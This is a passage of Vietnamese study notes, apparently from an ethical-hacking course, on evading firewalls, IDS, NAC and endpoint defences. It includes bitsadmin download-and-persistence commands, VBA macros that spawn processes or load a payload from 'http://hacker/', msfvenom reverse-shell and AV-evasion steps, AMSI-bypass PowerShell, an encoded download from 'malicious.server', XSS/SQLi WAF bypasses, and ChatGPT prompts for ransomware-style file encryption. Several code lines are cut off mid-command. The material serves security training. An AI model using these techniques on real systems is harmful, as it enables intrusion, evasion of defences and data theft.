    1. Vô hiệu hóa *IIS Admin Service* và *World Wide Web Publishing Service* trên hệ thống của kẻ tấn công.
    2. Chạy HTTHost với cài đặt mặc định, nhập mật khẩu và chọn *Revalidate DNS names* & *Log connections*.
    3. Bật Windows Defender Firewall và tạo Outbound rule để block traffic trên cổng 21 (FTP).
    4. Chạy HTTPort, vào tab Proxy, nhập IP của máy HTTHost (port 90) và mật khẩu.

5. Trong tab *Port mapping*, thêm mapping mới (ví dụ: Local port 21 map tới Remote host IP đích).
6. Nhấn Start. Mở CMD và gõ `ftp 127.0.0.1` để đăng nhập. HTTPort sẽ bắt gói FTP này và tunnel nó ra ngoài bất chấp tường lửa đang chặn cổng 21.

SSH tunneling (Tạo hầm SSH) [Trang 1688 - 1691]

- Sử dụng các công cụ như OpenSSH (`OpenSSH`) hoặc Bitvise SSH Client để mã hóa và đóng gói toàn bộ lưu lượng (thường là không mã hóa như FTP) gửi tới một máy từ xa nhằm né các trạm kiểm duyệt.
- **Local port forwarding (LPF):** Chuyển tiếp cổng cục bộ ra máy từ xa để truy cập tài nguyên nội bộ không được mở ra bên ngoài mạng.
- **Remote port forwarding (RPF):** Mở dịch vụ nội bộ cục bộ ra ngoài qua hầm SSH.
- **Dynamic port forwarding (DPF):** Tạo một proxy SOCKS linh hoạt qua SSH, giúp định tuyến và truy cập mọi loại lưu lượng mạng mà không bị IDS phát hiện.

DNS tunneling (Tạo hầm DNS) [Trang 1692 - 1693]

- Giao thức DNS sử dụng UDP và có giới hạn 255 byte cho các truy vấn gửi ra ngoài (outbound queries). Kẻ tấn công lợi dụng không gian nhỏ này để nhúng dữ liệu độc hại dạng chuỗi (text/hex) vào gói DNS.
- Hệ thống DNSSEC (dù bảo mật) cũng không thể phát hiện được nội dung bị nhúng lén lút như vậy.
- Kỹ thuật này được mã độc dùng để duy trì kết nối ẩn với máy chủ Command & Control (C2). Công cụ: `iodine`, `dnscat2`.
  - **Chi tiết công cụ iodine:** Gói công cụ này gồm 2 file thực thi:
    * **iodined (server):** Chạy trên máy chủ có IP public. Nó chịu trách nhiệm giải mã dữ liệu do client gửi đến, truy cập Internet thay mặt client và mã hóa dữ liệu phản hồi nhét ngược vào các gói tin DNS reply.
    * **iodine (client):** Chạy trên máy nạn nhân. Bắt các gói tin outgoing và mã hóa chúng thành các câu truy vấn DNS gửi tới server iodined.

Hệ thống bên ngoài (External system) [Trang 1694 - 1695]

- Người dùng (nhân viên) làm việc từ xa hoặc dùng máy tính cá nhân ở nhà có quyền truy cập hệ thống nội bộ công ty.
- Kẻ tấn công "nghe lén" (sniff) lưu lượng người dùng và đánh cắp session ID hoặc cookie.
- Sử dụng thông tin này, kẻ tấn công dễ dàng truy cập mạng nội bộ công ty xuyên qua firewall/IDS và chiếm lấy Windows ID của tiến trình đang chạy.
- Sau đó, kẻ tấn công kích hoạt lệnh `openURL()` tới cửa sổ trình duyệt đó, ép nó tải mã độc nhúng từ web server của kẻ tấn công và thực thi trên máy nạn nhân.

MITM attacks (Tấn công trung gian) [Trang 1696 - 1697]

- Kẻ tấn công thực hiện đầu độc máy chủ DNS (DNS server poisoning) của công ty để sửa đổi IP trả về.
- Khi người dùng mạng nội bộ gửi yêu cầu hợp lệ (ví dụ: `facebook.com`), truy vấn bị lừa và trả về IP chuyển hướng tới server độc hại của kẻ tấn công.

- Từ đây, kẻ tấn công đóng vai trò trung gian, kết nối với host thật và có thể "tunnel" (đóng gói) mọi lưu lượng HTTP của nạn nhân để đọc lén.

Bypassing through content (Né tránh bằng Nội dung) [Trang 1698]

- Gửi các nội dung ẩn chứa mã độc cho người dùng để lừa họ mở. Định dạng file mang mã độc vô cùng đa dạng (EXE, COM, BAT, DVB, DOC, XLS, PDF, v.v.).
- Tận dụng phương thức Macro bypass exploit (khai thác vượt rào macro); khi người dùng mở tài liệu, tệp thực thi độc hại ẩn bên trong sẽ tự động được tải về và chạy.
- Kẻ tấn công dùng kỹ thuật giấu tin (steganography) hoặc làm rối (obfuscation) để qua mặt tường lửa.

XSS attack (Cross-Site Scripting để né WAF) [Trang 1699 - 1700]

- Lỗ hổng XSS xảy ra khi ứng dụng web xử lý tham số đầu vào của người dùng không an toàn.
- Kẻ tấn công chèn mã HTML/JS độc hại (Ví dụ: `<script>alert("XSS")</script>`).
- Để vượt qua bộ lọc của Web Application Firewall (WAF), kẻ tấn công biến đổi mã:
  - **Mã ASCII:** Chuyển ký tự sang số (Ví dụ: `String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41)`).
  - **Mã Hex Encoding:** Chuyển thành hệ thập lục phân (Ví dụ: `%3C%73%63%69%72...`).
  - **Bypass Blacklist SQLi:** Khi từ khóa `AND`, `OR`, `UNION` bị cấm, kẻ tấn công có thể dùng toán tử thay thế như: `1 || (select username, pwd from employees where userID = 1001) = 'admin'`.
  - **Obfuscation:** Trộn lẫn ký tự hoa/thường (Ví dụ: `<sCRiPt>`).

Bypassing WAF (Các kỹ thuật lách WAF khác) [Trang 1701 - 1703]

- **HTTP header spoofing:** Giả mạo tiêu đề (header) HTTP để lừa WAF rằng lưu lượng đến từ mạng nội bộ. Dùng các header như `X-Forwarded-For`, `X-Originating-IP` qua công cụ Burp Suite.
- **Phát hiện blacklist (Blacklist Detection):** Kẻ tấn công xác định các từ khóa bị WAF cấm (ví dụ: `and`, `or`, `union`, SQL query). Sau đó, họ tinh chỉnh cú pháp để lách luật *(Ví dụ thay vì dùng lệnh bình thường, dùng `1 || (select username...) = 'admin')`.*
- **Fuzzing / Brute forcing:** Sử dụng các danh sách từ khóa (wordlists) khổng lồ như Assetnote Wordlists và SecLists để thử nghiệm diện rộng.
- **Lạm dụng cipher SSL/TLS:** Dùng công cụ `sslscan2` để kiểm tra các mã hóa (cipher) mà web server đích hỗ trợ. Tìm ra cipher nào được máy chủ hỗ trợ nhưng WAF lại không nhận diện được, và dùng nó để tạo kênh giao tiếp mù đối với WAF.

HTML smuggling (Buôn lậu HTML) [Trang 1704 - 1705]

- Là kiểu tấn công web, nhúng mã độc trực tiếp vào các thẻ đính kèm HTML5 hoặc trang web.
- Lợi dụng sức mạnh của JavaScript Blob (`window.URL.createObjectURL(fakeBlob)`) và URL lure để tự động lắp ráp và ép trình duyệt tải xuống nội dung độc hại.
- Vì mã độc được tạo động bằng client-side JS (trên trình duyệt), IDS/Firewall không thể thấy tệp thực thi nào đi qua mạng để quét, từ đó qua mặt hoàn toàn sự phát hiện.

Windows BITS (Dịch vụ truyền tải nền thông minh) [Trang 1706 - 1708]

- **Background Intelligent Transfer Service (BITS)** là dịch vụ tiêu chuẩn của Windows chuyên dùng để phân phối các bản cập nhật hệ điều hành (Windows update) một cách ngầm định. Tổ chức thường không kiểm tra BITS vì nghĩ đó là luồng traffic hợp lệ.
- `bitsadmin` có thể tạo job để chuyển file (bị lạm dụng để truyền file độc hại) và tạo persistence *(Ví dụ: `/SetNotifyCmdLine persistence <Local Path> NULL` sẽ kích hoạt thực thi malware ngay khi tải xong).*
  - **Các lệnh BITSAdmin thực tế:**

    ```
    bitsadmin /transfer Exploit http://10.10.1.13/share/Exploit.exe c:\textbackslash{}Exploit.
    ```

    Thiết lập Persistence (Kiên trì):

    ```
    /create persistence
    /addfile persistence <Malicious URL> <Local Path>
    /SetNotifyCmdLine persistence <Local Path> NULL
    /resume persistence
    ```

Các kỹ thuật né tránh IDS khác (Other IDS Evasion Techniques) [Trang 1709 - 1722]

- **Insertion attack (Tấn công chèn)** [Trang 1710]: Làm rối IDS bằng cách ép nó đọc các gói tin không hợp lệ. Kẻ tấn công gửi các gói tin bị lỗi (như sai IP checksum hoặc TTL) mà NIDS chấp nhận nhưng máy đích (end system) sẽ từ chối. Kết quả là IDS đọc sai nội dung (ví dụ: IDS đọc thành "phoneyf" trong khi máy đích chỉ đọc "phf").
- **Evasion (Né tránh)** [Trang 1711]: Ngược lại với Insertion. Xảy ra khi IDS loại bỏ (discard) các gói tin trong khi host đích vẫn chấp nhận chúng. Ví dụ: gửi một chuỗi độc hại từng byte một, nếu IDS loại bỏ nhầm một byte, nó sẽ không thể nhận diện được chữ ký tấn công.
- **Denial-of-Service (DoS)** [Trang 1711 - 1712]: Kẻ tấn công tiêu thụ các tài nguyên của IDS (CPU, RAM, dung lượng ổ đĩa, băng thông) để khiến thiết bị không thể xử lý hoặc ghi log cảnh báo. Ví dụ: tạo lượng lớn log rác để lấp đầy ổ cứng hoặc tấn công làm sập máy chủ log trung tâm.
- **Obfuscation (Làm rối)** [Trang 1712]: Mã hóa payload tấn công sao cho chỉ có host đích (được nhắm tới) mới có thể giải mã, còn IDS thì không. Kẻ tấn công dùng ký tự Unicode, mã đa hình (polymorphic), hoặc ẩn giấu qua giao thức mã hóa (HTTPS) và kỹ thuật giấu tin (steganography).
- **False positive generation (Tạo cảnh báo giả)** [Trang 1713]: Tạo ra một lượng lớn cảnh báo giả (log noise) để làm quản trị viên mất cảnh giác, từ đó che giấu luồng traffic của cuộc tấn công thực sự.
- **Session splicing (Ghép nối phiên)** [Trang 1713]: Tấn công ở lớp mạng. Kẻ tấn công chia nhỏ traffic thành rất nhiều gói tin kích thước siêu nhỏ và thêm độ trễ (delays) giữa chúng, khiến IDS không thể ráp nối (reconstruct) và khớp mẫu chữ ký trước khi quá thời gian timeout. (Công cụ: Nessus).
- **Unicode evasion technique** [Trang 1713 - 1714]: Sử dụng nhiều biểu diễn khác nhau cho cùng một ký tự (ví dụ UTF-8, UTF-16) để né bộ lọc. Ví dụ: dấu `/` có thể viết thành `%u2215`, khiến IDS xử lý sai nhưng web server vẫn hiểu được.
- **Fragmentation attack (Tấn công phân mảnh)** [Trang 1714 - 1716]: Khai thác giới hạn kích thước MTU. Nếu MTU bị vượt, gói tin sẽ bị phân mảnh. Kẻ tấn công lợi dụng sự chênh lệch thời gian chờ ghép nối (reassembly timeout) giữa IDS và máy đích (Ví dụ: IDS timeout 10s, máy đích 20s) để đẩy các mảnh vỡ qua IDS mà không bị phát hiện.
  - **Kịch bản 1 (NIDS timeout < Victim timeout):** VD NIDS timeout là 10s, Victim là 20s. Kẻ tấn công gửi Mảnh 1, chờ 15s rồi mới gửi Mảnh 2. NIDS sẽ drop Mảnh 1 vì quá 10s chưa nhận đủ để ghép, trong khi

Victim (20s) vẫn giữ Mảnh 1 và ghép thành công với Mảnh 2.

  - **Kịch bản 2 (NIDS timeout > Victim timeout):** VD NIDS timeout là 60s, Victim là 30s. Kẻ tấn công gửi 4 mảnh. Đầu tiên gửi Mảnh 2' và 4' (chứa payload giả). Đợi 30s để Victim tự xóa bỏ các mảnh này do timeout. Lúc này NIDS vẫn lưu Mảnh 2', 4' giả trong RAM. Kẻ tấn công tiếp tục gửi Mảnh 1, 3, 2, 4 (payload thật). Victim nhận đủ 1-2-3-4 sạch và ghép lại. NIDS cố ghép Mảnh 1, 3 với Mảnh 2', 4' giả ban đầu nên Checksum báo lỗi và NIDS bỏ qua traffic này.

- **Time to live (TTL) attacks** [Trang 1716 - 1717]: Khai thác kiến thức về topology (số lượng router giữa kẻ tấn công và nạn nhân). Gửi các mảnh vỡ mang mã độc (fragments) với TTL được tính toán chính xác để gói tin đi qua được tường lửa nhưng bị drop ngay trước khi tới IDS hoặc ngược lại.
- **Urgent (URG) flag** [Trang 1717 - 1718]: Trong TCP, cờ URG dùng con trỏ để đánh dấu dữ liệu khẩn cấp. Một số IDS đọc toàn bộ dữ liệu, nhưng hệ thống đích lại bỏ qua phần dữ liệu rác nằm trước con trỏ URG, dẫn đến sự bất đồng bộ giữa IDS và máy đích.
  - **Chi tiết tính năng Urgency Flag - URG:** Theo chuẩn RFC 1122, nếu một TCP segment có chứa con trỏ URG, thì chính xác 1 byte dữ liệu nằm ngay sau dữ liệu khẩn cấp (urgent data) sẽ bị hệ thống đích bỏ qua (lost/dropped). Bằng cách chèn 1 byte rác vào vị trí này, NIDS sẽ đọc toàn bộ chuỗi (kể cả byte rác), trong khi hệ thống đích tự động vứt byte rác đi. Kết quả là hai bên nhận được 2 chuỗi khác nhau. (VD: Gửi XYZ, LMN [URG:3], PQR. Điểm cuối sẽ đọc là XYZLMNQR - chữ P bị mất).
- **Invalid RST packets** [Trang 1718]: Gửi gói TCP RST với giá trị checksum không hợp lệ. IDS tưởng phiên kết nối đã đóng nên ngừng theo dõi, trong khi máy đích loại bỏ gói RST lỗi này và tiếp tục nhận dữ liệu độc hại phía sau.
- **Polymorphic shellcode** [Trang 1718 - 1719]: Mã độc tự động thay đổi cấu trúc biểu diễn (bằng cách mã hóa payload và đính kèm bộ giải mã) để qua mặt các NIDS dựa trên chữ ký (signature-based).
- **ASCII shellcode** [Trang 1719]: Chuyển đổi mã shellcode chỉ dùng các ký tự thuộc bảng mã ASCII chuẩn để lách qua các bộ lọc ký tự khắt khe của IDS.
- **Application-layer attacks** [Trang 1719 - 1720]: Lợi dụng các file đa phương tiện (ảnh, audio, video) có sử dụng nén (compression). Kẻ tấn công giấu mã độc bên trong file nén, vì nhiều IDS không thể giải nén để quét chữ ký bên trong.
- **Desynchronization (Mất đồng bộ)** [Trang 1720]:
  - **Pre-Connection SYN:** Gửi một gói SYN khởi tạo với checksum TCP không hợp lệ trước khi kết nối thật được thiết lập. IDS đọc và reset số sequence theo gói SYN giả này (hoặc bỏ qua checksum), khiến nó bị mất đồng bộ với máy đích (nơi loại bỏ gói tin vì sai checksum).
  - **Post-Connection SYN:** Gửi một gói SYN sau khi kết nối đã được thiết lập với số sequence khác biệt. Host đích sẽ bỏ qua vì kết nối đã có sẵn, nhưng IDS có thể cố gắng đồng bộ lại số sequence theo gói SYN mới này, khiến nó bỏ qua các luồng dữ liệu tấn công thực sự đi sau.
- **Domain Generation Algorithms (DGA)** [Trang 1720 - 1721]: Thuật toán tạo ra hàng loạt tên miền (domain) động/ngẫu nhiên. Đổi điểm C2 liên tục để lách qua các bộ lọc danh sách đen (blacklist) và IP tĩnh. Các loại DGA: Character-based, PRNG, Dictionary-based, High-collision.
- *(Bổ sung từ nguồn)* **Encryption** [Trang 1721]: Dùng SSH, SSL hoặc VPN tunnel để mã hóa traffic. IDS không thể phân tích các gói tin đã được mã hóa.
- *(Bổ sung từ nguồn)* **Flooding** [Trang 1722]: Làm ngập lụt bộ nhớ và CPU của IDS bằng traffic rác để che giấu traffic tấn công thực sự.

16. NAC và Né tránh bảo mật điểm cuối (NAC and Endpoint Security Evasion)

Network Access Control (NAC) Evasion [Trang 1726 - 1728]

- **VLAN hopping** [Trang 1726]: Chiếm quyền truy cập bằng cách lợi dụng giao thức Dynamic Trunking Protocol (DTP) để thay đổi chế độ của switch thành "dynamic auto" hoặc "dynamic desirable", tạo đường trunk để nhảy sang VLAN khác. Công cụ: `VLANPWN` (chứa 2 script Python là `DoubleTagging.py` và `DTPHijacking.py`).
- **Dùng thiết bị đã xác thực (Pre-authenticated device)** [Trang 1727 - 1728]: Lợi dụng một thiết bị đã được cấp quyền hợp lệ để "buôn lậu" (smuggle) các gói tin độc hại vào mạng. Kẻ tấn công thường cắm một thiết bị như Raspberry Pi đứng giữa switch mạng và máy tính đã xác thực. Công cụ: `nac_bypass_setup.sh`, FENRIR, NACkered, Silentbridge, BITM.

Bypass Endpoint Security (Né tránh bảo mật điểm cuối) [Trang 1729 - 1759]

- **Ghostwriting** [Trang 1729 - 1730]: Kỹ thuật sửa đổi cấu trúc nhị phân (assembly code) của malware mà không làm thay đổi chức năng nhằm né tránh Antivirus dựa trên chữ ký. Công cụ: `ghostwriting.sh` (tự động hóa giải mã, chèn mã rác và biên dịch lại).
- **Application whitelisting bypass** [Trang 1730]: Vượt qua danh sách trắng bằng DLL hijacking. Đặt một DLL độc hại với tên hợp lệ vào cùng thư mục với phần mềm hợp pháp để nó được tự động load. Sử dụng các công cụ như `rundll32.exe`, `regsvr32.exe`.
- **Dechaining macros** [Trang 1731 - 1734]: Viết các script VBA (VBScript) tinh vi để thoát khỏi quy trình Office, né tránh phát hiện điểm cuối. Các phương thức:
  - Spawn qua ShellCOM (khởi chạy tiến trình mới qua COM object).
  - Sử dụng XMLDOM để tải và chạy mã ngoài.
  - Sử dụng `WmiPrvse.exe`, Registry Modification, tạo Scheduled Tasks, hoặc tính năng vba-exe của Metasploit.
    - **Spawning through ShellCOM (Gọi tiến trình qua ShellCOM):**

      ```
      Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
      obj.Document.Application.ShellExecute "calc.exe",Null,"C:\textbackslash{}\textbackslash
      ```

    - **Spawning using XMLDOM (Gọi tiến trình qua XMLDOM):**

      ```
      Set xml = CreateObject("Microsoft.XMLDOM")
      xml.async = False
      Set xsl = xml
      xsl.load("file://|http://hacker/malicous_payload.xsl")
      xml.transformNode xsl
      ```

    - **Spawning through WmiPrvse.exe:**

      ```
      Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\textbackslash
      Set objStartup = objWMIService.Get("Win32_ProcessStartup")
      Set objConfig = objStartup.SpawnInstance_
      Set objProcess = GetObject("winmgmts:root\textbackslash{}cimv2:Win32_Process")
      errReturn = objProcess.Create("calc.exe", Null, objConfig, intProcessID)
      ```

    - **Registry Modification (Sửa đổi Registry để chạy cùng hệ thống):**

```
Set objRegistry = GetObject("winmgmts:\textbackslash{}\textbackslash{}.\textbackslash{}
objRegistry.SetStringValue &H80000001, "Software\textbackslash{}Microsoft\textbackslash
```

* **Dropping Files (Thả tệp vào thư mục Startup):**

```
Path = CreateObject("WScript.Shell").SpecialFolders("Startup")
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.CreateTextFile(Path & "\textbackslash{}sample.bat", True)
objFile.Write "notepad.exe" & vbCrLf
objFile.Close
```

* **Creating Scheduled Tasks (Tạo tác vụ theo lịch trình):**

```
Set service = CreateObject("Schedule.Service")
Call service.Connect
Dim td: Set td = service.NewTask(0)
td.RegistrationInfo.Author = "McAfee Corporation"
td.settings.StartWhenAvailable = True
td.settings.Hidden = False
Dim triggers: Set triggers = td.triggers
Dim trigger: Set trigger = triggers.Create(1)
Dim startTime: ts = DateAdd("s", 30, Now)
startTime = Year(ts) & "-" & Right(Month(ts), 2) & "-" & Right(Day(ts), 2) & "T" & Righ
trigger.StartBoundary = startTime
trigger.ID = "TimeTriggerId"
Dim Action: Set Action = td.Actions.Create(0)
Action.Path = "C:\textbackslash{}Windows\textbackslash{}System32\textbackslash{}calc.ex
'Action.Arguments = "/c whoami"
Call service.GetFolder("\textbackslash{}").RegisterTaskDefinition("AVUpdateTask", td, 6
```

* **Downloading Content (Tải nội dung):**

```
Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe", False
xHttp.Send
With bStrm
    .Type = 1
    .Open
    .write xHttp.responseBody
    .savetofile Environ("APPDATA") & "\textbackslash{}sample.exe", 2
End With
```

* **Embed File and Drop (Dùng tính năng vba-exe của Metasploit):**

```
msfvenom -p generic/custom PAYLOADFILE=/home/user1/Downloads/calc.exe -a x64 --platform
```

- **Clearing memory hooks** [Trang 1735 - 1737]: Các hệ thống EDR giám sát bằng cách gắn memory hooks vào các API. Kẻ tấn công dùng debugger (như `x64dbg`) để xác định các hook liên quan tới syscall, sau đó ghi đè/xóa các hook này để phục hồi lại byte gốc trong bộ nhớ, làm mù EDR.
- **Process injection** [Trang 1738 - 1739]: Chèn mã độc vào không gian bộ nhớ của một tiến trình hợp pháp đang chạy. Thường sử dụng các Windows API như:

- **VirtualAllocEx():** Hàm này phân bổ bộ nhớ trong không gian địa chỉ của tiến trình đích. Kẻ tấn công gọi nó để giữ chỗ (reserve) một khối bộ nhớ nhằm chứa payload.
- **WriteProcessMemory():** Hàm dùng để ghi dữ liệu vào không gian bộ nhớ của tiến trình từ xa. Kẻ tấn công dùng nó để ghi mã độc vào vùng nhớ đã phân bổ ở bước trên.
- **CreateRemoteThread():** Hàm tạo một luồng (thread) mới trong không gian địa chỉ của tiến trình đích. Nó được dùng để kích hoạt luồng chạy và thực thi mã độc đã được tiêm vào.

- **Living-Off-The-Land binaries (LoL bins)** [Trang 1740 - 1741]: Sử dụng các công cụ hệ thống hợp pháp, có sẵn (như `rundll32`, `ConfigSecurityPolicy.exe`, `CustomShellHost.exe`) để tải, cài đặt malware (như Deimos C2 agent) mà không bị EDR báo động.
- **CPL side-loading** [Trang 1742 - 1744]: Giả mạo applet của Control Panel (file `.cpl`). Đóng gói shellcode bằng Base64 và nhúng vào file CPL để qua mặt AV. Công cụ: `CPLResourceRunner`.
  - **Cấu trúc mã C cho file .cpl:**

```
#include <stdio.h>
#include <Windows.h>
BOOL APIENTRY DLLMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    //malicious code
    if (ul_reason_for_call == DLL_PROCESS_ATTACH)
        system("c:\textbackslash{}\textbackslash{}windows\textbackslash{}\textbackslash{}s
    return 0;
}
```

  - **Các bước tạo CPL độc hại bằng CPLResourceRunner:**
    1. Dùng Cobalt Strike tạo payload dạng x86 (lưu thành beacon.bin).
    2. Chạy `ConvertShellcode.py` trên beacon.bin để tạo `shellcode.txt`.
    3. Dùng lệnh Linux chuyển chuỗi shellcode sang định dạng Base64 và chuẩn bị cho file resource: `cat shellcode.txt |sed 's/[, ]//g; s/0x//g;' |tr -d '\textbackslash{}n' |xxd -p -r |gzip -c |base64 > b64shellcode.txt`.
    4. Copy nội dung Base64 vào file `Resources.txt` trong cùng thư mục dự án.
    5. Gom tài nguyên dưới dạng x86 và copy `CPLResourceRunner.dll` thành một tệp mới có tên `maliciousnew.cpl`.

- **Sử dụng AI/ChatGPT** [Trang 1745 - 1749]: Dùng ChatGPT để liên tục thay đổi mã (mutate) tạo ra phần mềm độc hại đa hình (polymorphic), viết script tự động hóa trích xuất và mã hóa tệp tin, né tránh API theo dõi.
  - *(Quy trình tấn công bằng ChatGPT cụ thể)*: Kẻ tấn công tích hợp API của ChatGPT trực tiếp vào malware có chứa trình thông dịch Python. Quá trình gồm 3 bước:
    1. **Obtaining the code (Lấy mã):** Hỏi ChatGPT để sinh ra mã hàm tìm kiếm các tệp mục tiêu và sinh mã tiện ích mã hóa tệp tin.
       - Ví dụ câu lệnh (Prompt) yêu cầu ChatGPT tạo mã Python:
         - Lệnh tìm kiếm file: "Please write me a function named 'FindTheseFiles' in Python that searches all the files that end up with"txt, pdf, docx, ppt, xlsm, xlsx, png, jpg, jpeg, pptx", starting from root directory. Returns a list of all paths of the files that match the criteria. Include the relevant imports. Only provide the code without explanation."

- Lệnh mã hóa file: "Please write me a function 'EncryptGivenFile' that receives an encryption key and a path to the file and encrypts it in Python. Include the relevant imports. Only provide the code without explanation."

2. **Validation (Xác thực):** Máy chủ C2 ra lệnh cho malware mã hóa một tệp thử nghiệm bằng key cụ thể. Tệp mã hóa được gửi lại C2 để thử giải mã. Nếu thành công, mã được phê duyệt.
3. **Execution (Thực thi):** Malware sử dụng các hàm Python tích hợp như `compile()`, `exec()`, `eval()` để chạy mã độc tàng hình trên các nền tảng khác nhau mà không để lại mẫu chữ ký tĩnh.

- **Sử dụng mẫu Metasploit (Metasploit Templates)** [Trang 1750 - 1752]:
  1. Xuất payload bằng lệnh: `msfvenom -p windows/shell_reverse_tcp lhost=<IP> lport=444 -f exe > /home/attacker/Windows.exe`.
  2. Mở file mã nguồn `template.c` của Metasploit, giảm kích thước payload (ví dụ từ 4096 xuống 4000) và thêm mảng rác để làm rối:

```c
#include <stdio.h>
#define SCSIZE 4000
char payload[SCSIZE] = "PAYLOAD:";
char comment[1] = "";
int main(int argc, char **argv) {
    (*(void (*) () ) payload) ();
    return(0);
}
```

  3. Biên dịch lại template mới bằng trình biên dịch mingw: `i686-w64-mingw32-gcc template.c -lws2_32 -o evasion.exe`.
  4. Tạo lại payload mới áp dụng template vừa biên dịch: `msfvenom -p ... -x /đường_dẫn_tới/evasion.exe -f exe > bypass.exe`.

- **AMSI bypass** [Trang 1753 - 1755]: Vượt qua Windows Antimalware Scan Interface (AMSI) bằng cách:
  - Hạ cấp PowerShell (`powershell -version 2`).
  - Làm rối mã (Obfuscation) bằng cách tách chuỗi.
  - Khai thác lỗi khởi tạo (`AmsiInitFailed`).
  - Hijack bộ nhớ: Hook hàm `AmsiScanBuffer` để luôn trả về giá trị `AMSI_RESULT_CLEAN`.
  - **Lệnh Forcing an error (Ép lỗi khởi tạo):**

```powershell
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","N
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","N
```

  - **Lệnh Memory Hijacking (Tự động trả về CLEAN):**

```powershell
[System.Reflection.Assembly]::LoadFile("<Path to ASBBypass.dll file>")
[Amsi]::Bypass()
```

  - **Lệnh Obfuscation (Tách chuỗi lệnh):**

```powershell
Invoke-Mimikatz
"Inv"+"o"+"ke"+"-Mimi"+"katz"
```

- **Fast-flux DNS** [Trang 1757 - 1758]: Liên tục thay đổi cực nhanh các địa chỉ IP và tên miền để né các hệ thống blacklist và che giấu vị trí thực sự của C&C Server.

Các kỹ thuật Bypass Endpoint khác [Trang 1756 - 1759]:

- **Hosting Phishing Sites on Popular Infrastructure:** Đặt các trang web lừa đảo trên hạ tầng đám mây uy tín (như Google Cloud và AWS) vì các giải pháp EDR thường không đưa các IP của hạ tầng này vào danh sách đen (blacklist). Kẻ tấn công cũng có thể phân phối mã độc bằng cách ẩn giấu trong ảnh/multimedia trên mạng xã hội bằng kỹ thuật steganography.
- **Passing Encoded Commands:** Kẻ tấn công truyền các lệnh đã mã hóa (ví dụ: Base64 hoặc định dạng Hex) để che giấu các tham số và mã khỏi cơ chế phát hiện. Ví dụ: mã hóa chuỗi lệnh Invoke-WebRequest bằng Base64 để vượt qua kiểm duyệt.

```
$command = "Invoke-WebRequest -Uri http://malicious.server/payload.exe -OutFile C:\textbacksla
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
echo $encodedCommand
```

- **Timing-based evasion:** Kỹ thuật né tránh hộp cát (sandbox evasion) bằng cách thiết lập mã độc chỉ thực thi vào một thời điểm cụ cụ thể hoặc sau các thao tác nhất định của nạn nhân (như click chuột hoặc khởi động lại hệ thống). Các ví dụ gồm: sleep patching, delay APIs, và time bombs.
- **Signed Binary Proxy Execution:** Lợi dụng các tiện ích hệ thống hợp pháp, được tích hợp sẵn và có chữ ký số (ví dụ: rundll32.exe) để thực thi hoặc làm proxy chạy mã độc nhằm né tránh các giải pháp EDR.
- **Shellcode Encryption:** Mã hóa các lệnh chứa payload độc hại bằng các thuật toán như XOR, RC4, AES và tự động giải mã chúng trực tiếp trên bộ nhớ khi thực thi.
- **Reducing Entropy:** Giảm độ hỗn loạn (entropy) của tệp nhị phân để làm chúng trông ít đáng ngờ hơn, ví dụ như chèn thêm các hình ảnh có entropy thấp hoặc các chuỗi mã hệ thống hợp lệ (như chrome.dll).
- **Escaping the (Local) AV Sandbox:** EDR thường chỉ đưa file vào sandbox mô phỏng trong vài giây. Kẻ tấn công khai thác hạn chế này bằng cách trì hoãn việc thực thi shellcode (ví dụ: bắt hệ thống tính toán các số nguyên tố siêu lớn) để làm cạn kiệt thời gian quét của hộp cát.
- **Disabling Event Tracing for Windows (ETW):** Vô hiệu hóa chức năng ghi log hệ thống của EDR bằng cách can thiệp vào tiến trình ntdll.dll và vá (patch) hàm EtwEventWrite để nó luôn trả về giá trị 0 (SUCCESS) mà không thực hiện ghi log.
- **Direct System Calls and Evading "Mark of the Syscall":** Lách qua các hàm API bị hệ thống bảo mật hook (theo dõi) bằng cách gọi trực tiếp các lời gọi hệ thống (system calls) từ kernel, hoặc trích xuất ID của syscall từ ntdll.dll và đẩy trực tiếp vào ngăn xếp (stack) để gọi bằng lệnh assembly.
- **Spoofing the Thread Call Stack:** Khi phần mềm gián điệp ở trạng thái chờ lệnh (dormant/beaconing), kẻ tấn công đánh chặn hàm Sleep(), ghi đè địa chỉ trả về (return address) thành 0x0, sau đó mới gọi hàm Sleep() gốc để EDR không thể dò quét ra shellcode trong bộ nhớ.
- **In-memory Encryption of Beacon:** Tự động mã hóa vùng nhớ chứa phần mềm gián điệp (bằng hàm XOR) mỗi khi nó chuyển sang trạng thái ngủ (Sleep), và tự động giải mã lại khi nó thức dậy để tiếp tục thực thi, giúp qua mặt các trình quét bộ nhớ (memory scanners).

17. Công cụ né tránh IDS/Firewall (IDS/Firewall Evading Tools) [Trang 1760 - 1762]

- **Traffic IQ Professional** [Trang 1760]: Công cụ kiểm toán (audit) giả lập traffic ứng dụng và traffic tấn công tùy chỉnh để kiểm tra phản ứng và né tránh các firewall, IDS, IPS.

- **Colasoft Packet Builder** [Trang 1761]: Công cụ tạo và tùy chỉnh thủ công các gói tin (IP, TCP, UDP, ARP) phục vụ cho tấn công phân mảnh mạng (fragmentation attacks).
- *(Bổ sung từ nguồn)* **Các công cụ khác** [Trang 1762]: Nmap, Metasploit, PingRAT, KoviD, Green Tunnel, Hyperion, NetScanTools Pro, CommView, Ostinato, WAN Killer, WireEdit.

18. Honeypots (Hũ mật) [Trang 1764 - 1775]

Honeypot là một hệ thống/tài nguyên thông tin được cố tình thiết lập để thu hút, đánh lừa và bẫy những kẻ tấn công mạng. Nó không có giá trị sản xuất thực tế, mọi luồng traffic đi vào đều được coi là có ý đồ xấu.

Lợi ích và hoạt động chính:

- **Ghi nhận truy cập cổng (Log port access attempts):** Lưu lại toàn bộ các nỗ lực truy cập vào các cổng của hệ thống.
